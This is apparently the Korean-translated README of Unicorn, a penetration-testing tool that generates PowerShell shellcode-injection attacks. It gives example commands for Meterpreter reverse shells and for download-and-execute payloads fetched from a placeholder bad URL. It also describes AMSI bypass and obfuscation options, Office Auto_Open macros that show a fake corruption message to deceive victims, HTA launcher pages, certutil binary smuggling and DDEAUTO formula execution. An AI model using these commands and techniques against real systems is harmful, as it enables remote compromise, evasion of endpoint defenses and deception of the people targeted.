
Unicorn은 PowerShell 다운그레이드 공격을 사용하여 메모리에 직접 셸코드를 주입하는 간단한 도구입니다. Matthew Graeber의 PowerShell 공격과 David Kennedy(TrustedSec)와 Josh Kelly가 Defcon 18에서 발표한 PowerShell 우회 기술을 기반으로 합니다.
작성자: Dave Kennedy (@HackingDave) 웹사이트: https://www.trustedsec.com
Magic Unicorn은 PowerShell 다운그레이드 공격을 사용하여 셸코드를 메모리에 직접 주입하는 간단한 도구입니다. Matthew Graeber의 powershell 공격과 Defcon 18에서 David Kennedy(TrustedSec)와 Josh Kelly가 발표한 powershell 우회 기법을 기반으로 합니다.
사용법은 간단합니다. Magic Unicorn을 실행하기만 하면 됩니다(Metasploit 방식을 사용하는 경우 Metasploit이 설치되어 있고 올바른 경로에 있는지 확인하세요). 그러면 magic unicorn이 자동으로 powershell 명령을 생성하며, 이 powershell 코드를 명령줄 창이나 페이로드 전달 시스템을 통해 잘라내어 붙여넣기만 하면 됩니다. Unicorn은 자체 셸코드, cobalt strike, Metasploit을 지원합니다.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn은 이제 하나의 PowerShell 자식 명령을 생성합니다. --amsi inline을 사용하면 AMSI 패치와 셸코드 로더가
동일한 자식 프로세스에서 실행됩니다. --amsi off를 사용하면 Unicorn은 AMSI 단계를 생략합니다.
8191자 명령 컨텍스트에는 --profile cmd를 사용하십시오. 32767자 컨텍스트에는 --profile powershell을
사용하십시오. Unicorn은 선택한 제한을 초과하는 출력을 거부합니다.
자식 PowerShell 아키텍처를 선택하려면 --arch x86 또는 --arch x64를 사용하십시오. 해당 아키텍처와
일치하는 셸코드를 제공하십시오. 기본값은 x86입니다.
제한된 의미 보존 변형을 선택하려면 --obfuscation minimal|moderate|high를 사용하십시오. 매니페스트에는
사용된 정확한 변환이 기록됩니다.
생성된 변형을 재현하려면 --seed <value>를 사용하십시오. 각 실행은 시드, 아키텍처, AMSI 모드, 명령 길이,
API 및 소스 셸코드 SHA-256을 포함하는 unicorn_manifest.json을 작성합니다.
로더 변형은 memset 바이트 복사 루프 또는 Marshal.Copy 중 하나를 사용하며, 선택된 API는 매니페스트에
기록됩니다.
셸코드 공격의 경우 매니페스트에는 선택된 난독화 프로필과 그 변환도 기록됩니다.
이제 모든 것이 powershell_attack.txt, Metasploit 사용 시 unicorn.rc, 그리고 unicorn_manifest.json에
생성됩니다. 텍스트 파일에는 PowerShell 공격을 메모리에 주입하는 데 필요한 코드가 포함되어 있습니다. 원격 명령
실행을 지원하는 위치가 필요합니다. 8191자 명령 컨텍스트에는 --profile cmd를 사용하십시오. 이 공격은
windows/download_exec도 지원합니다. 다운로드 및 실행을 사용할 때는
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe를 실행하십시오.
공격을 캡처하려면 리스너가 활성화되어 있어야 합니다.
매크로 공격의 경우 File, Properties, Ribbons로 이동하여 Developer를 선택해야 합니다. 그렇게 하면 개발자 탭이 생깁니다. 새 매크로를 만들고 이름을 Auto_Open으로 지정한 뒤 생성된 코드를 붙여넣으십시오. 그러면 자동으로 실행됩니다. 사용자에게 파일이 손상되었다는 메시지가 표시되고 Excel 문서가 자동으로 닫힙니다. 이것은 정상적인 동작입니다! 이는 피해자가 Excel 문서가 손상되었다고 생각하도록 속이는 것입니다. 그 후 PowerShell 주입을 통해 셸을 얻어야 합니다.
Office365/2016+ 버전의 Word에 대해 배포하는 경우 출력의 첫 줄을 다음과 같이 수정해야 합니다: Sub Auto_Open()
다음으로: Sub AutoOpen()
매크로 자체의 이름도 레거시 "Auto_Open" 명명 방식 대신 "AutoOpen"이어야 합니다.
참고: EXCEL을 복사하여 붙여넣을 때 추가 공백이 생기면 변수 "x" 아래의 각 POWERSHELL 코드 섹션 뒤에서 이를 제거해야 합니다. 그렇지 않으면 구문 오류가 발생합니다!
HTA 공격은 자동으로 두 개의 파일을 생성합니다. 첫 번째는 브라우저에 악성 PowerShell 주입 코드가 포함된 Launcher.hta를 사용하도록 지시하는 index.html입니다. 모든 파일은 hta_access/ 폴더로 내보내지며 세 개의 주요 파일이 있습니다. 첫 번째는 index.html, 두 번째는 Launcher.hta, 마지막은 unicorn.rc 파일입니다. Metasploit용 리스너를 시작하려면 msfconsole -r unicorn.rc를 실행할 수 있습니다.
HTA 공격을 사용할 때 PowerShell 주입이 제대로 작동하려면 사용자가 허용 및 수락을 클릭해야 합니다.
certutil 공격 벡터는 Matthew Graeber(@mattifestation)가 식별했으며, 이를 통해 바이너리 파일을 base64 형식으로 변환하고 피해자 머신에서 certutil을 사용하여 다시 바이너리로 변환할 수 있습니다. 이는 사실상 모든 시스템에서 작동하며 가짜 인증서 파일을 통해 피해자 머신으로 바이너리를 전송할 수 있게 해줍니다. 이 공격을 사용하려면 실행 파일을 unicorn의 경로에 놓고 python unicorn.py <exe_name> crt를 실행하여 base64 출력을 얻으면 됩니다. 완료되면 파일이 포함된 decode_attack/ 폴더로 이동하십시오. bat 파일은 Windows 머신에서 실행하여 다시 바이너리로 변환할 수 있는 명령입니다.
이 공격 방법을 사용하면 모든 PowerShell 파일(.ps1)을 인코딩된 명령 또는 매크로로 변환할 수 있습니다.
매크로 옵션을 선택하는 경우, 큰 ps1 파일은 VBA에서 허용하는 캐리지 리턴 수를 초과할 수 있습니다. 정수를 매개변수로 전달하여 각 VBA 문자열의 문자 수를 변경할 수 있습니다.
예시:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
마지막 예시는 기본값 380 대신 500자 문자열을 사용하므로 VBA에서 캐리지 리턴이 줄어듭니다.
이 공격 벡터는 Word 또는 Excel에 삽입할 DDEAUTO 수식을 생성합니다. COM 개체인 DDEInitilize와 DDEExecute를 사용하면 Office 내에서 직접 수식을 생성할 수 있어 매크로 없이도 원격 코드 실행 권한을 얻을 수 있습니다. 이 공격은 문서화되었으며 전체 지침은 다음에서 확인할 수 있습니다:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
이 공격을 사용하려면 다음 예시를 실행하십시오:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde